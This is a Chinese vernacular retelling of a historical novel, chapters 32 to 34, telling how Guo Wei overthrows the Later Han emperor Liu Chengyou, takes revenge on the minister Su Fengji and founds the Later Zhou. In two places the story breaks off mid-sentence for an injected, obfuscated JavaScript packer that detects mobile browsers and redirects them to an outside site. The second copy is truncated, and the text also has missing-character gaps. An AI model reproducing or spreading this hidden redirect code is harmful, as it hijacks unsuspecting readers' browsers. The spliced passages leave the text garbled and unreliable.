可郭威还是怕,不敢立刻进兵,又在滑州住了三四天。直到探子回来报说,潼关兵真的退回去了,他才相信王朴的话,知道高行周不是诱敌,这才放下心来,传令大军起行。 三声炮响后,大部队离开滑州,渡过黄河。一路上,郭威下令军队秋毫无犯,军纪严明,沿途的郡县见了,都纷纷开城投降。大军走了几天,到了汴梁城外,放炮安营。 这天,汉主正在金銮殿上坐着,突然听到城外大炮连天,响个不停,心里纳闷。很快,黄门官慌慌张张地跑进来奏报:“陛下,郭威的兵已经到封丘门外了,请陛下定夺!” 汉主吓得脸都白了,急忙看向苏凤吉:“前几天太师你保举潼关高行周领兵平叛,怎么现在还没听到捷报,反而让逆贼打到城下了?这可怎么办啊!” 苏凤吉心里也慌,可还是强装镇定,奏道:“陛下,臣昨天还听说,高行周在黄河岸边大败郭兵,把郭威吓得不敢出战。不知道他为什么突然撤兵,臣正打算派人去打听,没想到贼兵已经到都城了。陛下别担心,现在应该立刻派大将出兵,去声讨郭威的叛逆之罪,看看局势再说。” 汉主没别的办法,只好准奏,派大将慕容彦超和侯益领兵出城擒贼。 二将领了圣旨,点齐兵马出城,在郭营对面摆好阵势等着。探子把消息报进郭营,郭威立刻让史彦超出战。史彦超领着兵到了阵前,高声叫骂,要汉将出来应战。 慕容彦超和侯益一起出阵,指着史彦超骂道:“逆贼!不思本分,敢兴兵叛主,打到皇都来!今天天兵一出,你们还不赶紧下马受绑,难道要等我们用刀斧砍你们吗?” 史彦超一听,气得眼睛都红了,骂道:“你们这些奸贼的同党!当年害死我兄长满门,这仇不共戴天!今天我一定要把你们碎尸万段,为我兄长报仇!”说完,他挺起乌缨枪,直冲过去。慕容彦超挥起大砍刀,迎了上去。两匹马交缠在一起,兵器相撞,打了起来。 这一场厮杀,真是惨烈:山边的黑云像要压下来似的,海边的青草被风吹得乱晃,阵前的将士们却打得难解难分。两人打了三十多回合,还是分不出胜负。 侯益见慕容彦超赢不了史彦超,赶紧挺枪拍马,上去夹攻。可史彦超一点也不怕,反而越打越勇。就在这时,汉兵的后面突然乱了起来——原来是王峻早就受了王朴的密计,领着一队兵绕到汉营后面,突然发起进攻。 侯益回头一看,见后面乱了,赶紧回马去救,刚转过身,就和王峻撞了个正着。王峻手起斧落,一斧砍在侯益腰上,侯益惨叫一声,摔下马死了。慕容彦超见侯益被杀,心里一慌,刀法顿时乱了。史彦超抓住机会,一□□过去,挑掉了他半个脑盖。 郭威在门旗下看得清楚,把鞭梢一指,大军立刻呐喊着冲了上去,那势头,像要把鸡蛋压碎似的。汉兵一半被杀死,一半投降,剩下的几十个人,慌慌张张地逃回城里。郭威收兵回营,犒劳兵士,庆祝胜利,这些就不多说了。 再说那些败兵逃回城里,把战况报给汉主。汉主吓得六神无主,赶紧召集文武百官,商量怎么退敌。他看着底下的大臣,急道:“郭威反我,兵势这么大,我派慕容彦超、侯益出去应战,结果他们都战死了。你们谁愿意为我分忧,领兵出去擒贼?” 连问了好几声,都没人应答。汉主见大臣们都低着头,心里更慌了,突然想起史弘肇以前说过的话——史弘肇早就提醒过他,苏凤吉是奸人,要提防郭威,可他当时没听。现在后悔也晚了,只怪自己当初听了苏凤吉的话,非要调郭威进京,才引火烧身。 他又对着百官说:“朕知道,之前有些事做得不对,可你们看在先帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519297|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面子上,也该为国家出力啊!怎么都这么胆小,不肯为朕分忧?” 汉主的话刚说完,苏凤吉就拿着笏板,跪在地上奏道:“陛下别太担心,免得伤了龙体。京城还有十万雄兵、上千员战将,臣吃着陛下的俸禄,理应为陛下分忧。臣愿意拼死一战,出城和郭威抗衡,要是上天保佑,一定能杀退贼兵。” 汉主一听,大喜过望:“要是太师肯去,朕就放心了!” 苏凤吉又说:“臣受陛下的恩宠,愿意舍命报答。不过,臣恳请陛下御驾亲征,这样才能立功奏绩。” 汉主愣了:“太师你去杀贼,为什么要朕亲征啊?” 苏凤吉连忙解释:“臣出去打仗,只带自己手下的兵,这些人里有勤快的,也有偷懒的,未必都肯拼命。要是陛下亲征,再让满朝文武保驾,一来有陛下在,大臣们肯定愿意出力;二来陛下的天威能壮军威,大家齐心协力,一定能打赢。” 其实苏凤吉心里打着坏主意:他知道自己未必能打赢,让汉主亲征,文武百官都得跟着去。要是输了,大家一起死,也省得自己一个人倒霉;要是文武百官想活命,肯定会拼命厮杀,说不定还能赢。这就是奸人的心思,说出来的话却冠冕堂皇,让人挑不出错。 可汉主一来年纪小,不懂朝堂和战场的险恶;二来他从小在宫里长大,从没打过仗,哪里知道刀枪相向的危险,更不懂排兵布阵的谋略。听苏凤吉说得这么容易,还以为真能杀退郭兵,回来继续做他的皇帝,立刻说:“既然太师要朕亲征,那就赶紧挑选人马,准备出发!” 苏凤吉领了圣旨,出宫去挑选御林军,最后挑了五万人。 第二天,苏凤吉先把兵调出封丘门外扎营,然后回来请汉主出城。汉主传下旨意:满朝文武,不管官职大小,都得跟着去保驾,要是有一个不来,就按叛逆论处。文武百官没办法,只好硬着头皮,提心吊胆地跟着去。 汉主带着文武百官出了城,领着人马在七里店安下营盘。他往郭营那边一看,只见对方的枪刀在阳光下闪着寒光,旗帜插得漫天都是,一眼望不到头,心里顿时慌了。又听到郭营里炮声震天,吓得心都快跳出来了,赶紧传旨要找苏凤吉来商议。 当驾官奏道:“丞相正在前面督兵,安排将士出战呢。” 汉主心里稍微安定了些,暗自想:“朕的人马不少,还有苏太师在前面督阵,应该没事。就算叛贼杀过来,也有太师挡着,到不了朕面前。”这么一想,他的胆子才大了点。 可苏凤吉在前面看到郭兵的阵势,心里其实怕得要死,可现在骑虎难下,只能硬着头皮上。他领了一万精锐兵马,带了几员勇猛的偏将,在离御营二里多的地方停下,摆好阵势。 郭威带着众将也到了阵前,两边摆开阵势,战鼓声“咚咚”地响了起来。郭威看到汉阵后面还有一大队人马扎着营,知道是汉主亲征,问众将:“哪位将军愿意出去应战?” 话音刚落,身后就冲出一员大将,高声答道:“末将韩通,愿去决一死战!”说完,他带着自己的家将,催马上前,大喝道:“有本事的出来和俺较量较量!” 苏凤吉见来将长得十分英勇:头上戴着银盔,身上穿着亮闪闪的铠甲,手里提着长枪,□□的高头大马昂首嘶鸣,站在阵前,威风凛凛,心里不由得一紧,问身边的将领:“谁敢上去擒贼?” 这时,禁军教师索文俊站了出来,他翻身上马,拎着大刀,戴好头盔、穿好铠甲,厉声叫道:“丞相,待末将去擒这叛贼!”说完,拍马冲了过去,直扑韩通。韩通也拍马迎了上去,两人一个用刀,一个用枪,在沙场上打了起来。两边的战鼓声越响越急,阵前的呐喊声也越来越大。 苏凤吉见索文俊赢不了韩通,赶紧又点了四员汉将上去——分别是孙礼、牛洪、刘成、吴坤。四员大将一起出马,各举兵器,上前帮索文俊。郭营里的王峻见对方以多欺少,气得大吼一声,举起大斧冲了出去,接住汉将厮杀。后面的曹英、王豹两员骁将,还有监军柴荣,也一起出马,各自找对手打了起来。 这场大战,打得天昏地暗:两边的战鼓声催得紧,疆场上十员大将各显神威;刀枪相撞,迸出寒光,斧戟交锋,快得像闪电;杀气弥漫,连天空都暗了下来,征尘飞舞,连太阳的光芒都被遮住了。自古以来,战场厮杀都是这般惨烈,可谁能成为最后扬名的英雄,还不知道呢。 军师王朴也在营前观战,他指着汉阵对史彦超说:“史将军,你看那阵前骑红马、穿红袍的,就是苏凤吉!你杀兄的大仇,今天不报,更待何时!” 史彦超一听,杀兄仇人就在眼前,立刻抬头望去,果然看到苏凤吉提着刀,坐在马上在阵前督战。他顿时怒火中烧,眼睛都红了,一拍马背,双腿夹紧马腹,挺起长枪,朝着汉阵冲了过去,高声骂道:“奸贼!我还以为你能一直当你的丞相,享尽富贵,没想到你也有今天!我兄长在天有灵,让咱们今天遇上了,你别想跑,我来取你的狗命!” 苏凤吉一看到史彦超,吓得三魂丢了七魄——他当年陷害史弘肇时,就怕史彦超回来报仇,现在见对方杀过来,哪里还敢应战,拨转马头,拖着枪就往东边逃。史彦超在后面紧追不舍。 汉阵里正在交战的将领,见主帅跑了,顿时没了心思打仗,一个个手忙脚乱。刘成被王峻一斧砍死,曹英一刀劈了吴坤,王豹活捉了孙礼,韩通一枪挑死了索文俊,柴荣杀了牛洪。五员汉将,死了四个,被捉了一个。 柴荣把刀一晃,身后的兵士立刻呐喊着冲了上去。苏凤吉带来的一万汉兵,哪里还敢抵抗,纷纷四散逃跑。郭威见汉兵败了,亲自率领大军压了上去。 汉主和文武百官在御营里等着,满以为苏凤吉会回来报捷,没想到郭兵已经杀到营前了。汉主吓得魂飞魄散,也顾不上文武百官,从后营牵了匹马,翻身上马就跑。众大臣想上前保驾,可汉主跑得太快,他们根本追不上,只好要么投降,要么自刎,没一个能逃掉。 剩下的四万汉兵,一半已经被杀死,另一半哪里还有心思打仗,都想着逃回城里保命,把封丘门挤得水泄不通。真是可怜啊:人挤着人,到处都是哭喊声、求救声;马踩着马,到处都是马的惨叫声,皮肉被踩烂,鲜血直流。 人太多,城门又窄,汉兵根本挤不进去。禅州的人马追到城下,举起兵器,对着挤在城门口的汉兵乱砍乱戳。不一会儿,城门口就堆起了小山似的尸体,鲜血像江水似的流了下来。这真是:将士们的鲜血染红了盔甲,尸骨成了战马的垫脚石。 禅州兵很快进了封丘门。曹英、王豹杀进了董市门,柴荣、韩通杀进了万寿门,王峻领着兵杀进了酸枣门。四座城门都被攻破,禅州兵一起进了玄武门,控制了汴梁城。城里的商人赶紧关了店铺,百姓也吓得关紧家门,不敢出门。 可怜的汉主,弃营逃跑时,只带了几个内侍跟着,骑着马往皇城方向跑。接下来,他能不能逃进皇城?枪刀林立的乱兵中,他还能保住性命吗?而苏凤吉那个奸贼,又会不会死在神神圣圣的宗庙里,偿还他的罪孽?真是:轻易地用国家社稷来报私仇,到头来只能用自己的身家性命来平息众人的怒火。 究竟汉主能不能进得了城,咱们下回再讲。 33. 第 33 章 话说后汉的皇帝刘承祐,听了奸臣苏凤吉的建议,决定亲自带兵去征讨郭威。可他哪儿想到,这一战打得一败涂地——郭家军像砍瓜切菜似的,把汉军杀得将领战死、士兵逃散。刘承祐这会儿满脑子就一个念头:保命!他不敢再留在军营,只好丢下大军逃跑,身边只带了几个贴身的太监。一行人慌慌张张地往玄武门跑,刚到城门外面,就看见城楼上插满了郭家军的旗帜,士兵们手握长枪大刀,密密麻麻地堵在路口,明摆着就是不让他过。 刘承祐心里一紧,腿都有点发软,赶紧勒住马缰绳,不敢再往前挪一步。他想掉头往别的城门跑,可刚转个方向,就远远看见封丘门外也有郭兵在巡逻,离这儿没多远。没办法,他只好又把马转回来,沿着玄武门旁边的大街往西跑。跑着跑着,身边的太监一个个都跑散了——有的被乱兵冲散,有的干脆趁乱躲起来了,到最后,就剩刘承祐一个人骑着马,孤零零地在大街上狂奔。 他跑了没一会儿,就看见路边有一座寺庙,庙门上方挂着一块匾,写着“白云禅寺”四个大字。刘承祐实在跑不动了,也顾不上体面,赶紧翻身下马,踉踉跄跄地走进山门,直奔大殿。刚进殿门,就听见外面大街上盔甲碰撞的“哗啦”声、战马的嘶鸣声、士兵的呐喊声,一声比一声近。他靠在佛殿的柱子上,浑身发抖,心里清楚:自己的江山彻底完了,再也没法挽回了。 他盯着佛殿里的佛像,眼泪突然就流了下来,嘴里喃喃自语:“我刘承祐啊,今天真是天要亡我!郭兵都打进汴梁城了,我死了倒没什么,可我爹刘知远辛辛苦苦打下来的江山,就这么白白给了别人,我还有脸去见地下的列祖列宗吗?还有宫里的皇太后,我把她一个人丢下,她年纪大了,以后靠谁呢?我这儿子当得太不孝了!都怪我,当初不听忠臣的劝告,非要信苏凤吉那奸贼的话,现在落得国破家亡的下场,我活着还有什么用?” 他越说越绝望,伸手从腰间解下系着的黄绫腰带——这还是他当皇帝时专门定做的,上面绣着龙纹。他把黄绫系在大殿的柱子上,打了个死结,又抬头对着佛像拜了三拜,大声喊道:“我后悔啊!后悔没听忠臣的谏言,才有今天的下场!”喊完,他把头伸进黄绫套里,双脚一蹬,就这么自缢身亡了。刘承祐在位总共才三年,死的时候才二十一岁。后来有人为他写了首诗哀悼:“刚坐上皇位没几年,就被藩王的兵马打到了京城前。直到死了才后悔没听忠臣的劝告,当初要是不瞎指挥,何至于此呢?” 再说郭威,他带着大军打进汴梁城后,第一件事就是下令让士兵把四个城门守住,防止有人逃跑,也防止乱兵进城抢劫。安排好守城的事,他就带着手下的将领直奔苏凤吉的私宅——他早就恨透了这个奸贼,不仅害了史弘肇一家,还挑唆皇帝来打自己。苏府的人根本没来得及反抗,就被郭家军围得水泄不通。士兵们进去搜查,把苏凤吉家里的男男女女都抓了起来,一数,总共一百九十四个人,连刚出生的婴儿都没落下。 处理完苏府的人,郭威又让人进宫去抓苏凤吉的女儿——也就是当今的苏皇后。他这么做,一是为了斩草除根,二是为了等史彦超抓住苏凤吉后,一起带到史弘肇的灵前祭奠,给史弘肇报仇。这些事安排好后,郭威就坐镇府衙,等着史彦超的消息。 与此同时,宫里的养老宫里,李太后正坐在窗边发呆。她这几天一直心神不宁,总觉得会出大事。突然,一个太监慌慌张张地跑进来,跪在地上哭着说:“太后娘娘!不好了!皇上亲自带兵去打仗,现在下落不明!郭兵已经打进皇城了,文武大臣都跑光了,郭威现在就在朝堂上!刚才还有好多乱兵,把苏皇后给抓走了!您快拿个主意吧!” 李太后一听这话,脑子“嗡”的一声,眼前发黑,差点从椅子上摔下来。她扶住桌子,眼泪像断了线的珠子似的往下掉,过了好一会儿才缓过劲来,对身边的太监说:“快,扶我出去!我要去见郭威!就算是死,我也要问清楚,幼主到底在哪儿!” 旁边掌管宫廷事务的大太监赶紧拦住她,劝道:“太后娘娘,您可不能去啊!宫门外全是郭兵把守,您出去了要是有个三长两短,可怎么办啊?” 李太后摇摇头,眼神里满是决绝:“现在国都破了,家也没了,我还有什么可怕的?我今天就是拼了这条老命,也要去问个明白!”说完,她推开太监的手,带头往宫外走。宫里的太监宫女们,胆小的早就躲起来了,只有几个平时受李太后恩惠的,壮着胆子跟在后面。 一行人走到分宫楼,就被守在这里的郭兵拦住了。跟在后面的太监赶紧上前,对着郭兵大声说:“这是当今的李太后,要去见郭元帅,有重要的事要说,你们快进去通报!”郭兵见李太后穿着太后的服饰,神色庄重,不敢怠慢,赶紧转身去给郭威报信。 没一会儿,郭兵回来传话,说郭威请李太后去金銮殿见。李太后整理了一下衣服,挺直腰板,一步步走进金銮殿。满朝文武都知道,李太后是个贤明的太后,当年先帝刘知远在位时,她经常劝先帝体恤百姓,还帮着打理后宫,从没出过差错。郭威当年在刘知远手下做事时,也受过李太后的恩惠——李太后待郭威的妻子柴氏,就像亲姐妹一样。 这会儿郭威见李太后走进来,心里又愧又羞。他想起当年先帝对自己的信任,想起李太后对柴氏的照顾,可自己现在却打进了京城,逼得皇帝下落不明。他下意识地往后退了几步,然后“扑通”一声跪在地上,低着头说:“娘娘,微臣郭威,参见太后。” 跟在郭威身边的禅州将领们,见元帅都跪下了,也赶紧跟着跪在丹墀下面,齐声说:“参见太后娘娘!” 李太后看着跪在地上的郭威,强忍着眼泪,声音沙哑地说:“都起来吧。” 等众人都站起来,李太后才开口问道:“郭元帅,你无缘无故带兵打进京城,扰乱国家社稷,到底是为了什么?” 郭威赶紧解释:“娘娘,微臣受先帝的大恩,一直恪守臣子的本分,从来没想过要背叛朝廷。可谁知道,皇上听信奸贼的谗言,非要置微臣于死地。微臣这才没办法,只好带兵过来,只想除掉奸臣,整顿朝纲,绝没有别的心思,还请娘娘明察!” 李太后冷笑一声,眼泪又流了下来:“就算幼主年轻,有对不住你的地方,你也该看在先帝的面子上手下留情啊!你忘了吗?先帝在世时,跟你情同手足,一起吃苦,一起打仗,好不容易才打下这片江山。因为你功劳大,先帝封你做元帅,把兵权交给你。先帝临死前,还因为你忠诚,把幼主托付给你,指望你辅佐他,保住刘家的江山。可你呢?半路上变了心,欺负我们孤儿寡母,起兵造反,你就不怕上天报应吗?” 郭威听李太后这么说,心里更不是滋味了,眼泪也忍不住掉了下来:“娘娘,微臣带兵过来,真的只是为了除掉苏凤吉这个奸贼——一来是为了整顿朝纲,二来是为了给史弘肇大人报仇。微臣绝没有造反的心思啊!” “没造反的心思?”李太后追问,“那你为什么要跟皇上打仗?” “娘娘,那是苏凤吉带兵出城,非要杀微臣,微臣没办法,才只好带兵反抗,绝不敢跟皇上作对啊!”郭威急忙辩解。 李太后又问:“既然你没跟皇上作对,那现在皇上在哪儿?为什么不请他回朝?” 郭威心里咯噔一下——他其实也不知道刘承祐的下落,但他不敢说实话,只好编了个借口:“娘娘,想必皇上是在乱军中走散了。您先别着急,微臣这就派人四处寻找,找到皇上后,就请他回朝。到时候,微臣会把事情的来龙去脉说清楚,只把苏凤吉一个人治罪,然后就退回军营,继续做微臣的本分。” 李太后这会儿也没别的办法,只好相信郭威的话。她擦了擦眼泪,带着身边的太监宫女,一步一回头地回了安乐宫。她心里还抱着一丝希望,觉得郭威真的会找到皇上,保住刘家的江山。可她哪儿知道,这不过是郭威的缓兵之计,江山早就已经换了主人。 再说史彦超,他正带着人追杀苏凤吉。苏凤吉这会儿就像丧家之犬,慌不择路地往前跑,心里只有一个念头:活下去。史彦超骑着马在后面紧追不舍,可他的马离苏凤吉还有一百多步远,怎么也追不上。 其实史彦超手里有弓箭,要是他这会儿射箭,就算射不中苏凤吉,也能射中他的马。可史彦超心里憋着一股劲——他非要抓住活的苏凤吉,带到哥哥史弘肇的灵前,亲手杀了他报仇。他一边追,一边在心里骂:“奸贼!你跑不了了!今天我就算追到天涯海角,也要把你抓住!”他一边喊,一边用力拍打马屁股,催着马往前跑。 苏凤吉跑得上气不接下气,心里又怕又急,只恨自己的马没长翅膀。就在他快撑不住的时候,突然看见路边有一座古庙。他也顾不上庙里有没有人,赶紧翻身下马,提着刀就往庙里跑。跑进山门后,他躲在门后面,心里盘算着:“反正也是死,不如跟这黑小子拼了!等他进来,我就一刀杀了他!” 史彦超很快就追到了庙门口。他翻身下马,提着长枪正要往里冲,突然一阵阴风吹了过来,庙里的尘土被吹得漫天飞舞,还隐隐约约能听到哭声。史彦超心里一咯噔,停下了脚步——他总觉得不对劲,好像有什么人在提醒他。 就在这时,他听见半空中传来一个熟悉的声音,像是哥哥史弘肇的声音:“兄弟,别进去!那奸贼躲在里面暗算你!你先守住山门,救兵马上就到了!” 史彦超一愣,眼泪瞬间就流了下来——他知道,这是哥哥的阴灵在保护他。他对着庙门拜了拜,哽咽着说:“哥哥,谢谢你在天有灵保佑我!等我抓住这奸贼,一定给你报仇!” 话音刚落,就听见远处传来马蹄声和盔甲碰撞的声音。史彦超回头一看,只见西边尘土飞扬,一队人马正往这边赶来,旗帜上写着“禅州”两个字。原来是王峻和韩通,他们奉了郭威的命令,带着人来接应史彦超。 史彦超赶紧迎上去,对王峻和韩通说:“二位将军来得正好!苏凤吉那奸贼躲进这座庙里了,快让人把庙围起来,别让他跑了!” 王峻和韩通赶紧下令,让士兵们把古庙团团围住,连后门都派人守着。躲在门后的苏凤吉,听见外面来了援军,吓得腿都软了——他知道,这次是真的跑不了了。他不敢再躲在门后,只好往庙里跑,想找个地方藏起来。 他跑过大殿,来到侧面的十王廊下,突然看见一个人站在那里——穿着官服,戴着襆头,手里拿着象简,正是被他害死的史弘肇!苏凤吉吓得大叫一声,嘴巴张得老大,却发不出声音。史弘肇眼睛瞪得圆圆的,大声喝道:“奸贼!你往哪儿跑!快还我的命来!”说完,举起手里的象简,朝着苏凤吉的脸打过去。 苏凤吉被吓得一哆嗦,“扑通”一声倒在地上,当场晕了过去。就在这时,王峻、韩通和史彦超带着士兵冲了进来,看见苏凤吉躺在地上,赶紧让人把他五花大绑起来,拴在马背上。一行人出了古庙,往汴梁城赶去。回到城里后,他们立刻去见郭威,禀报了抓住苏凤吉的消息。 郭威听说抓住了苏凤吉,心里的一块石头落了地。他先让人把史弘肇夫妇的骸骨从原来的地方挖出来,用最好的棺材装殓好,准备葬到史家的祖坟里。另外,史弘肇家里其他被害的人,也让人找了块地,好好安葬。 到了下葬的那天,史彦超找到郭威,对他说:“元帅,我想把苏凤吉全家的人都带到我哥哥的坟前,祭奠我哥哥和嫂子,让他们在天之灵能安息。” 就在这时,站在一旁的军师王朴赶紧拦住他,说:“二将军,我有句话想跟你说。老话说‘养了一家人,犯错的只有一个人’,当初害你哥哥的,只有苏凤吉一个人,跟他家里的老弱妇孺没关系啊。现在我们刚打进汴梁城,最需要的就是赢得民心。要是你把他全家的人都杀了,一来是伤了上天的好生之德,二来老百姓会害怕,心里也会怨恨我们,这对将军你、对元帅都没好处啊。依我看,不如只把苏凤吉和他的妻子,还有他的儿子儿媳带来祭奠你哥哥,其他的人就放了吧。这样既符合国法,也合人情,是最好的办法。” 史彦超皱着眉头说:“军师说的话,我都听。可宫里的苏皇后,是苏凤吉的亲生女儿,就是她在宫里迷惑皇上,才把朝廷搞得一团糟,她也该去祭奠我哥哥!” 王朴赶紧摇头:“将军,这可不行!苏皇后虽然是苏凤吉的女儿,但她毕竟是汉主的皇后,我们跟她之间有君臣的名分,不能乱了规矩。要是把她拿去祭奠你哥哥,不仅你哥哥的阴灵会不安,还会坏了元帅的名声,这事绝对不能做!” 史彦超还是不服气:“军师,苏皇后虽然是皇后,但她对臣子不仁,就是我们的仇人!我今天一定要杀了她,给我哥哥报仇,不然我哥哥在地下也闭不上眼!” 王朴想了想,说:“将军要是实在想报仇,我倒有个两全其美的办法。刚才探子来报,说汉主在白云禅寺自缢身亡了。不如让苏皇后自尽,跟汉主一起下葬,就当是给你哥哥报仇了,这样不是很好吗?” 郭威也在一旁劝道:“贤弟,你就听军师的话吧,别太固执了。你哥哥生前是个忠臣,一心为国为民,死后肯定成了神仙,保佑老百姓。听我们的,没错。” 史彦超见郭威都这么说了,只好忍着眼泪点头同意。他让人把苏凤吉、苏凤吉的妻子、儿子和儿媳四个人绑起来,带到史弘肇的坟前。 那天,满朝的文武大臣听说要给史弘肇祭奠,还要杀苏凤吉报仇,都跟着郭威一起来到了坟地。只见坟前摆着祭奠用的酒席、香烛和纸钱,苏凤吉一家四口跪在地上,吓得浑身发抖。 首先是郭威带着文武大臣和禅州的将领,一个个上前祭奠,烧了纸钱。然后轮到史彦超,他拿着香,倒了酒,跪在地上,对着坟墓哭着说:“哥哥,嫂子,你们生前是好人,死后肯定成了神明。今天我把害你们的奸贼带来了,你们快出来受祭吧!” 拜完之后,史彦超站起来,挽起袖子,眼睛瞪得通红,让人把苏凤吉身上的衣服都剥了下来。他手里拿着一把锋利的钢刀,指着苏凤吉骂道:“你这个误国害民的奸贼!你靠着女儿是皇后,在朝廷里作威作福,还想削弱藩镇的力量,害死我哥哥一家!你以为没人能治得了你吗?今天老天爷开眼,让我抓住了你!我今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到了第二天,郭威带着文武大臣去见李太后,把刘承祐自缢身亡的事一五一十地告诉了她。李太后听了,除了流泪,什么也做不了——她知道,刘家的江山彻底完了。 这时,文武大臣们一起跪下,对李太后说:“国家不能一天没有皇帝,请太后赶紧选一个贤明的君主,安定天下吧!” 李太后没办法,只好下诏书,让大臣们去迎接幼主的弟弟、河东节度使刘贄来当皇帝。刘贄是晋阳公刘崇的儿子,也就是刘承祐的堂弟。大臣们赶紧派人准备车马,去河东迎接刘贄。 可就在这时,边关传来急报:契丹人带兵入侵,已经快打到边境了,情况非常紧急。李太后只好下令,让郭威带兵去边关抵抗契丹。郭威接到诏书后,立刻带着手下的将领,率领大军出发。 大军走到澶州的时候,天色已经晚了,郭威就让士兵们在城里驻扎下来。当天晚上,禅州来的将领们偷偷聚在一起,商量着事情。一个叫张威的将领说:“我们从禅州开始跟着元帅,出生入死,本来就是想让元帅当皇帝,这样我们也能跟着沾光,封个官,让子孙后代过上好日子。可现在倒好,打进京城后,昏君自缢了,却要立刘家的人当皇帝,我可不愿意!” 另一个将领也附和道:“是啊!我们跟着元帅打仗,吃了多少苦,要是立了刘贄,以后我们这些禅州来的人,肯定没好果子吃!” 军师王朴看着大家,说:“各位将军说的话,跟我想的一样。这事不能再等了,明天我们就动手,保证能让元帅当上皇帝。” 将领们一听,都高兴得不得了,赶紧回去准备。 第二天一大早,郭威刚起床,正准备下令让大军出发,突然听见外面传来一阵嘈杂的声音,士兵们的呐喊声、兵器的碰撞声,乱成一团。郭威心里一惊,以为是士兵哗变了,赶紧让手下的人把馆驿的门关上。 可没一会儿,就有好多将领翻墙进来,一下子围到了郭威面前。郭威又惊又疑,问道:“你们这是干什么?出什么事了?” 将领们一起跪下,大声说:“我们跟着元帅,冒着生命危险打仗,就是想让元帅当皇帝!现在却要立别人当皇帝,我们心里不服!我们已经跟军师商量好了,今天就请元帅登基,号令天下!” 郭威赶紧摆手:“新皇帝已经定下来了,怎么能随便改呢?而且登基是大事,你们怎么能这么草率?” 王朴在一旁说:“元帅,大家的心意已经定了,您就别推辞了。再说,将领们已经跟刘家结了仇,要是立了刘贄,他们怎么可能甘心?到时候说不定会出更大的乱子。” 王朴的话还没说完,就看见王峻推开馆驿的门,从一个士兵手里扯过一面黄旗,快步走到郭威面前,把黄旗披在郭威身上,大声喊道:“我们共同拥立元帅当皇帝,谁要是不服,就是跟我们所有人作对!” 其他将领也跟着大喊:“吾皇万岁万岁万万岁!”馆驿外面的士兵们也跟着喊,声音大得几十里外都能听见。 郭威看着眼前的场景,心里明白——这是大势所趋,自己就算想推辞也不行了。他只好顺着大家的意思,答应登基。将领们赶紧簇拥着郭威,带着大军往汴梁城回赶。 回到汴梁后,郭威立刻给李太后上了一道奏章,大致意思是:自己是被将领们逼着登基的,实在没办法推辞,愿意继续供奉汉朝的宗庙,把李太后当母亲一样侍奉。 李太后看着奏章,心里一片冰凉——她知道,郭威手握兵权,手下的人又都拥护他,自己根本没法反抗。只好下诏书,把刘贄废为湘隐公,让郭威代理朝政。就在这一年,后汉灭亡了。 后来有史官评论后汉的兴衰:“后汉高祖刘知远手里有精锐的军队,占据着有利的地盘,又正好赶上契丹人往北撤退,中原没有君主,所以他才能轻松当上皇帝,并不是因为他的才能和品德有多出众,只是运气好,赶上了好时候。根基不牢固的王朝,注定容易灭亡。后汉隐帝刘承祐虽然当了皇帝,可朝政却不是他自己说了算,老百姓也不认可他这个皇帝。他轻易相信奸臣的话,想除掉手握兵权的大臣,结果灾祸马上就来了,这是必然的结果。他们父子俩加起来,只当了四年皇帝,自古以来,没有哪个王朝的寿命这么短的。唉,真是让人哀叹啊!” 郭威正式登基那天,接受了文武大臣的朝拜。他追封刘承祐为隐帝,尊奉李太后为昭圣太后。到了第二天,郭威又去郊外祭拜天地,下诏书大赦天下。他说自己是周朝虢叔的后代,所以把国号定为“后周”,改年号为“广顺”,立妻子柴氏为皇后。 之后,郭威开始分封大臣:封柴荣为晋王,王峻为邺郡节度使,史彦超为京营总都,韩通为御营团练元帅,偏将王豹、曹英等人都封为总兵;封王朴为昌邑侯大将军,让他掌管军政大事;又封汉朝的老臣范质为右丞相,贞固为左丞相,窦仪为翰林学士。其他汉朝的大臣,愿意继续当官的,还让他们担任原来的官职;不愿意当官的,也准许他们回乡养老。跟着打仗的士兵们,也都给了赏钱和粮食。 文武大臣们都上前谢恩,可就在这时,有一个穿着纶巾道服的大臣,跪在台阶下,不仅不谢恩,还说:“微臣有个请求,希望皇上能听我说。” 这个人一开口,朝堂上的气氛一下子就变了——他这请求,不仅关系到自己的前程,还牵扯到后周初年的官场风气。正是:“朝廷给的爵位,不如上天给的品德珍贵;当官的功名,怎么比得上孝顺的名声?” 到底这个大臣是谁,他又提了什么请求,咱们下回再接着说。 34. 第 34 章 话说后周太祖郭威登上皇位,大肆封赏立下功劳的臣子,文武百官全都叩拜谢恩完毕。人群里,唯独王朴跪在地上,双手伏地推辞不愿接受封赏,他抬头望着郭威,语气诚恳又带着几分坚决:“臣本来没有立下什么大功劳,却承蒙陛下您把重要的职位赏赐给臣。臣仔细思量,自己德行浅薄、福气微薄,实在担当不起这样的重任,恳请陛下收回成命,放臣返回故乡,这是臣一直以来的心愿啊。” 郭威听了这话,不由得吃了一惊,身子微微前倾,语气带着几分急切:“朕自从得到先生你,多次靠着你的计谋立下大功,如今朕能登上皇位,面朝百官百姓,这都是先生你的功劳啊!这点爵位俸禄,根本算不上报答你的恩情。还望先生不要推辞辛劳,留下来辅佐国家,那天下百姓都会感到幸运啊。” 王朴又磕了个头,声音里多了几分对母亲的牵挂:“陛下,臣真的是福气不够,承受不起这样的福禄。要是接受了这么高的职位,恐怕还会折损寿命。更何况,臣还有一位年过八旬的老母亲,按道理,臣本该在她身边侍奉。陛下您一直主张以孝道治理天下,就请您成全臣,让臣回到故乡,每天给母亲端茶送水,早晚都能问候她的起居,安安稳稳地给母亲养老送终。这样的话,臣和母亲剩下的岁月,都是陛下您恩赐的啊!” 郭威眉头皱了皱,脸上满是不舍:“先生你重视孝道,朕能理解。可朕刚得到天下,心里还没安稳下来,要是以后发生什么变故,没有你在身边,朕该怎么应对啊?” 